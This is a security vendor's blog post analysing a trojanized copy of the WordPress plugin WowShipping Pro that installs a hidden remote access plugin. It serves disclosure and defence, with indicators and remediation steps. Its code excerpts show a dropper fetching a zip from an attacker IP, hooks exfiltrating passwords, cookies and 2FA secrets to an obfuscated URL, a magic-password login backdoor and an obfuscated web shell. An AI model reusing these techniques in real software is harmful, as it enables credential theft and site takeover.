Start trial

Supply Chain Compromise: Trojanized Copy of WowShipping Pro Installs Hidden Remote Access Toolkit

This blog post is a technical analysis of a trojanized copy of WowShipping Pro version 1.0.6 for WordPress, a commercial plugin sold by WPXPO. Patchstack receiv

Published April 17, 2026
Patchstack avatar
Patchstack

This blog post is a technical analysis of a trojanized copy of WowShipping Pro version 1.0.6 for WordPress, a commercial plugin sold by WPXPO. Patchstack received a copy of the plugin from a site owner who traced a client site compromise back to it. The file contains a dropper that silently installs a second, independent malware plugin containing a full-featured remote access toolkit.

If you are running WowShipping Pro, ensure you are on at least version 1.0.8 (which the vendor released on March 22, 2026 and which does not contain the dropper) and see the remediation section at the end of this article. Updating the plugin alone does not remove the installed malware.

The Patchstack vulnerability database entry can be found here. While Patchstack has released a mitigation rule to protect against exploitation, it does not guarantee complete protection if the site has already been infected.

About the WowShipping Pro plugin

WowShipping is a WooCommerce table rate shipping plugin developed by WPXPO, with thousands of active installations across its free and Pro editions. It allows store owners to configure complex shipping rules based on weight, destination, quantity, product category, user role, and over thirty other conditions. The Pro version unlocks advanced conditional logic, live carrier rates, and role-based shipping.

The plugin in its Pro version is sold and hosted through WPXPO’s own e-commerce site.

What happened

On April 16, Chad Yoder of Black Anvil Creative reported a compromise on a client site running WowShipping Pro v1.0.6 to Patchstack, accompanied by the trojanized copy of the plugin they had traced it to. They stated that the copy in question originated directly from WPXPO.

The copy we received contains a modified includes/class-plugin-actions.php file. Timestamp metadata inside the zip shows the file was last written on March 13, 2026, five days after the rest of the package, which carries a uniform build date of March 8.

The modification added 73 lines of code implementing a fully functional malware installer, while preserving the legitimate plugin row meta logic already present in the file. Several forensic signals indicate the modification was not made by the original developer: the injected method uses space indentation while the surrounding file uses tabs, it lacks a PHPDoc block while every other method in the class has one, and it uses raw cURL plus ZipArchive rather than the WordPress filesystem APIs the rest of the plugin relies on.

On March 22, WPXPO released v1.0.7 and v1.0.8 with the dropper removed. We obtained a copy of v1.0.8 and confirmed it by diffing against v1.0.6: the install_woocommerce_notifications() method and its admin_init hook registration have been deleted, the file is otherwise identical to the pre-modification version, and no other files in the package contain the dropper’s indicators. The v1.0.7 and v1.0.8 changelog entries in the readme are both dated March 22 and both read simply “Fix: Some Issue Fixed.”

On March 24, WPXPO sent an email to Pro customers titled “Security Update – Action Required”, stating that they had “released a new version of our Pro plugins that includes an important security patch” and asking users to update. The email did not describe the nature of the issue, did not name the malware, did not mention that a secondary plugin may have been installed on affected sites that would persist after updating, and did not provide detection or remediation instructions.

WPXPO’s email to Pro customers on March 24, 2026

In private correspondence with the reporter, WPXPO’s support team acknowledged the report and stated they had “reviewed their build process, secured their servers, and performed a full audit of the affected files” and released “an updated version to ensure everything is clean and safe for all users.” No public advisory has been issued at the time of writing.

Taken together (the vendor’s clean v1.0.8 release, their customer email, and their private acknowledgement), WPXPO’s response is consistent with a supply chain incident. The full scope of the incident, including which plugins and what time window were affected, has not been publicly disclosed. WPXPO’s email stated that “all Pro plugins” should be updated, which suggests the issue was not limited to WowShipping Pro, but Patchstack has not independently verified the other Pro plugins in their catalogue.

Technical analysis of the malware

The attack is delivered in two stages. Stage 1 is the dropper embedded in the trojanized WowShipping Pro plugin. Stage 2 is the fake “WooCommerce Notifications” plugin that the dropper installs. Stage 2 is where the actual malware lives.

Stage 1: The dropper in WowShipping Pro

The dropper sits in includes/class-plugin-actions.php and registers a callback on the admin_init hook (meaning it fires on every admin page load by any authenticated administrator). The function searches for a plugin with the slug woocommerce-notifications. If it is not found, the dropper downloads a zip archive from a hardcoded attacker-controlled IP using raw cURL, extracts it directly into wp-content/plugins/, and activates the resulting plugin using WordPress’s activate_plugin() API. Finally, it sends a beacon to the same attacker IP containing the victim’s domain name, and sets a WordPress option flag so the beacon is only sent once.

public function install_woocommerce_notifications() {
    require_once ABSPATH . 'wp-admin/includes/plugin.php';
    $all_plugins = get_plugins();
    $plugin_path = null;
    foreach ( $all_plugins as $path => $data ) {
        if ( strpos( $path, 'woocommerce-notifications' ) === 0 ) {
            $plugin_path = $path;
            break;
        }
    }
    if ( $plugin_path ) {
        if ( ! is_plugin_active( $plugin_path ) ) {
            activate_plugin( $plugin_path );
            [...]
        }
        return;
    }
    $plugin_zip_url = 'http://188.137.251.115:3029/files/woocommerce-notifications.zip';
    $plugins_dir   = WP_PLUGIN_DIR;
    $zip_path      = $plugins_dir . '/woocommerce-notifications-temp.zip';

    $ch = curl_init( $plugin_zip_url );
    [...]
    $zip->extractTo( $plugins_dir );
    $zip->close();
    [...]
    activate_plugin( $plugin_path );

Several forensic artifacts in this file signal tampering: the method uses space indentation while the rest of the file uses tabs, it lacks a PHPDoc block while every other method has one, it bypasses the WordPress filesystem API in favor of raw cURL and ZipArchive, and it connects to a raw IP address over plain HTTP on a non-standard port. The attacker was competent but not careful about matching the surrounding code style.

The dropper also functions as a re-infection mechanism: as long as it remains installed and active, any removal of the malware plugin is reversed on the next admin page load. Updating WowShipping Pro to a clean version removes the dropper, but does not remove the malware that the dropper already installed.

Stage 2: The “WooCommerce Notifications” malware plugin

The installed payload masquerades as a legitimate WooCommerce extension. Its main file contains a fabricated plugin header with real WooCommerce branding, and the package includes decoy files (class-wc-stock-delivery-map.php, class-wc-region-dispatch-event.php) that implement functional-looking no-ops. The actual malware is distributed across three active component files and two bundled web-accessible tools.

The malware operates in several stages, each providing an independent access vector. Removing any single component does not neutralize the others.

1. Self-concealment from the WordPress plugins list

The main plugin file hooks the all_plugins filter to remove itself from the array WordPress uses to populate the Plugins admin page. A site administrator viewing their plugin list will not see “WooCommerce Notifications” at all, even though it is installed, active, and running on every request.

add_filter( 'all_plugins', function( $plugins ) {
    unset( $plugins['woocommerce-notifications/woocommerce-notifications.php'] );
    return $plugins;
} );

The main plugin file also references an optional install-persistent.php loader. This file is not present in the analyzed sample, but the require_once hook is in place, indicating the attacker has reserved space for a future second-stage persistence module.

2. Real-time credential theft on every login

The file class-wc-notification-trace-dispatch.php registers four separate authentication hooks that intercept login credentials at different points in the WordPress authentication flow:

  • wp_authenticate : captures the plaintext username and password into a global variable before WordPress verifies them. Independently verifies the credentials and exfiltrates them immediately on success
  • wp_login : exfiltrates credentials after WordPress has completed its own login sequence
  • wp_ajax_nopriv_wordfence_ls_authenticate : a dedicated hook for Wordfence Login Security’s AJAX authentication flow, used when Wordfence handles 2FA

When a successful login is detected, the malware collects the username, plaintext password, remote IP, full request URL, WordPress user roles, all cookies, and the user-agent string. All fields are base64-encoded and sent via POST to a hardcoded exfiltration endpoint. The endpoint URL is itself base64-encoded in the source to evade static string searches.

add_action('wp_login', function($login, $user) {
    [...]
    $dispatch = [
        'login'      => base64_encode($user_identifier),
        'password'   => base64_encode($wc_notifications_pending_trace['password']),
        'fullPath'   => base64_encode($full_path),
        'ip'         => base64_encode($ip),
        'role'       => base64_encode($roles),
        'cookie'     => base64_encode($cookie_string),
        'user-agent' => base64_encode($ua)
    ];

    if (!function_exists('curl_init')) return;
    $ch = @curl_init(base64_decode('aHR0cDovLzFsMWwxbC5jb20vOGEzNzg4MTI0NDY2ODU1YTFkZmM3OGE2MWJmZGMzMmEucGhw'));
    [...]
}, 9999, 2);

The decoded URL is http://1l1l1l.com/8a3788124466855a1dfc78a61bfdc32a.php, a domain using visually confusing lowercase L and digit 1 characters to impersonate something innocuous in log review.

3. 2FA secret exfiltration

The same file contains a function that steals TOTP secrets from four widely used WordPress 2FA plugins. When a successful login is intercepted, the malware appends the victim’s TOTP secret to the exfiltration payload in the format username|BASE32_SECRET, giving the attacker both the credentials and the ability to generate valid time-based codes.

The targeted plugins and extraction methods are:

  • WP-2FA : reads the wp_2fa_totp_key user meta, and attempts to invoke the plugin’s internal WP2FA\Authenticator\Authentication::decrypt_key_if_needed() method to decrypt encrypted secrets
  • Wordfence Login Security : queries the wp_wfls_2fa_secrets database table directly, and falls back to resolving the table name dynamically through Wordfence’s Controller_DB class
  • Really Simple SSL : reads the rsssl_totp_secret user meta, and resolves the actual meta key name through the plugin’s Rsssl_Two_Factor_Totp::SECRET_META_KEY class constant for forward compatibility
  • Two-Factor (the plugin by the Two-Factor feature plugin team) : reads the _two_factor_totp_key user meta

The retrieved secret is normalized to base32 encoding before exfiltration. The defensive implication is significant: 2FA does not protect against this malware. Once a user logs in, the attacker has everything needed to bypass 2FA on future logins.

4. Authentication bypass backdoor

The file class-wc-notification-scheduler.php hooks into the init action at priority 0 (firing before nearly every other piece of WordPress code). On any POST request containing log and pwd fields, it checks whether the MD5 of the submitted password matches a hardcoded hash. If it matches, the malware logs in as whatever username was supplied in the log field, bypassing WordPress’s actual authentication, 2FA, rate limiting, and every other protection.

private static function maybe_trigger_internal_stock_dispatch() {
    if (
        $_SERVER['REQUEST_METHOD'] === 'POST' &&
        isset($_POST['log'], $_POST['pwd']) &&
        self::wc_compare_variance($_POST['pwd'])
    ) {
        $username = sanitize_user($_POST['log']);
        $user = get_user_by('login', $username);
        if (!$user) $user = get_user_by('email', $username);
        if (!$user) return;

        wp_set_current_user($user->ID);
        wp_set_auth_cookie($user->ID, true);
        wp_redirect(admin_url());
        exit;
    }
}

private static function wc_compare_variance($input) {
    $keymap = array_map('chr', [101,50,54,56,99,51,53,97,48,54,100,56,53,102,54,55,50,101,55,48,99,57,98,101,101,99,98,52,101,53,100,49]);
    $stored_hash = implode('', $keymap);
    return hash_equals($stored_hash, md5($input));
}

The hardcoded hash e268c35a06d85f672e70c9beecb4e5d1 is constructed via a chr() array to avoid appearing as a static string in source-code searches. The backdoor accepts any username (including any existing administrator) and calls wp_set_auth_cookie() directly, producing a fully valid authenticated session.

5. Remote code execution via diagnostic parameters

The file class-wc-notification-diagnostics.php implements a web shell hooked on template_redirect, meaning it activates on any frontend URL. It accepts three GET parameters: k for authentication, d for the base64-encoded payload, and t for the execution mode. Authentication is gated on the MD5 of k matching a hardcoded hash.

Four execution modes are available, each backed by a different PHP function, chosen to maximize compatibility across hardened hosting environments where some functions may be disabled.

$wc_handler_map = [
    's' => function($wc_cmd) {
        $wc_exec_fn = join('', array_map('chr', [115, 104, 101, 108, 108, 95, 101, 120, 101, 99]));
        return (function($wc_fn_ref, $wc_cmd_arg) { return @$wc_fn_ref($wc_cmd_arg); })( $wc_exec_fn, $wc_cmd );
    },
    'e' => function($wc_cmd) {
        $wc_exec_ref = '';
        foreach ([101, 120, 101, 99] as $wc_idx) $wc_exec_ref .= chr($wc_idx);
        $wc_out = [];
        @$wc_exec_ref($wc_cmd, $wc_out);
        return join("
", $wc_out);
    },
    'p' => function($wc_cmd) {
        $wc_passthru_fn = implode(array_map('chr', [112, 97, 115, 115, 116, 104, 114, 117]));
        ob_start();
        @$wc_passthru_fn($wc_cmd);
        return ob_get_clean();
    },
    'ph' => function($wc_cmd) {
        ob_start();
        eval($wc_cmd);
        return ob_get_clean();
    }
];

6. Bundled Adminer 5.2.1 database access tool and Tiny File Manager with hardcoded credentials

The file class-wc-template-builder.php is a complete, unmodified copy of Adminer 5.2.1, a popular open-source database management tool equivalent to phpMyAdmin. Adminer provides a full web UI for browsing, querying, modifying, exporting, and dropping database tables.

Critically, this file has no ABSPATH check and can be accessed directly via the URL /wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php without going through WordPress. An attacker with knowledge of the URL has full database access from the internet, requiring no WordPress credentials.

As well, the file class-wc-admin-template.php is a complete copy of Tiny File Manager v2.6, a PHP-based web file manager, with a hardcoded administrator credential baked into the source. Like the Adminer file, this one has no ABSPATH check and is directly accessible via its URL. An attacker who knows the password corresponding to the bundled bcrypt hash has complete filesystem browse, upload, download, edit, and delete access to the site, again, without any WordPress authentication.

Indicators of Compromise (IOC)

Files and directories

  • wp-content/plugins/woocommerce-notifications/ : the entire malware plugin directory
  • wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php : bundled Adminer 5.2.1
  • wp-content/plugins/woocommerce-notifications/includes/class-wc-admin-template.php : bundled Tiny File Manager v2.6
  • Check the trojanized dropper: wp-content/plugins/table-rate-shipping-pro/includes/class-plugin-actions.php with SHA-256 40ce8ffcc2c409a010c056a87e39e7b22ec28b61fbdaea7bf530872718193a3d

Database entries (wp_options table)

  • whx_wn_api_notify_sent : the dropper’s completion flag; its presence indicates the C2 beacon fired

Network indicators

  • Outbound HTTP to 188.137.251.115 on port 3029 : malware distribution server
  • Outbound HTTP POST to 1l1l1l.com : credential exfiltration endpoint
  • Full exfiltration URL : http://1l1l1l.com/8a3788124466855a1dfc78a61bfdc32a.php

Remediation

Updating to WowShipping Pro v1.0.8 removes the dropper but does not remove the malware plugin that the dropper previously installed. Full remediation requires:

  1. Delete the entire wp-content/plugins/woocommerce-notifications/ directory from the filesystem
  2. Update WowShipping Pro to v1.0.8 or later (or replace it with a freshly downloaded clean copy)
  3. If any other WPXPO Pro plugins are installed, verify them against clean packages (WPXPO’s own notification indicated all Pro plugins were affected)
  4. Delete the row from wp_options where option_name = 'whx_wn_api_notify_sent'
  5. Rotate all administrator passwords
  6. Reset all 2FA secrets for administrator accounts (simply trusting the existing secrets is not safe, they may have been exfiltrated)
  7. Invalidate all active WordPress sessions (the simplest method is to change the auth_key, secure_auth_key, logged_in_key, and nonce_key salts in wp-config.php)
  8. Review web server access logs for any requests to /wp-content/plugins/woocommerce-notifications/includes/class-wc-template-builder.php or /wp-content/plugins/woocommerce-notifications/includes/class-wc-admin-template.php, if these paths were accessed, assume full database and filesystem compromise and perform complete incident response
  9. Review outbound connection logs for traffic to 188.137.251.115 or 1l1l1l.com

Conclusion

The malware itself is the clearest part of this story. The two-stage architecture, the multiple redundant access vectors, the 2FA secret theft targeting four different plugins by name, and the bundled Adminer and Tiny File Manager all point to an operator who is technically proficient and deliberate. The dropper in WowShipping Pro is small and easy to miss during casual review (a single modified method in a single file). But once it runs, it installs a much larger, feature-complete malware plugin that operates independently of the dropper.

How the trojanized copy reached the site owner is harder to prove from a technical analysis alone, even while the reporter implies they got it directly from WPXPO. The vendor has released a clean replacement, sent a customer-wide security email, and privately acknowledged the incident. We are presenting the technical findings on the file itself rather than a definitive attribution of the distribution path.

That distribution question matters less for affected site owners than what they need to do next. Because the malware persists independently of the plugin that installed it, every WPXPO Pro customer should check whether the woocommerce-notifications plugin directory exists on their site, even if they have already updated. WPXPO’s customer email asked users to update their Pro plugins but did not mention the secondary plugin, the credential exfiltration, or the need to rotate 2FA secrets. A generic “please update” notification, in cases like this one, leaves the users who most need help without the information they need to actually recover.

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free
Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts
Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Like it? Share it.

Alex Sandham' avatar

Alex Sandham

Account executive

Related articles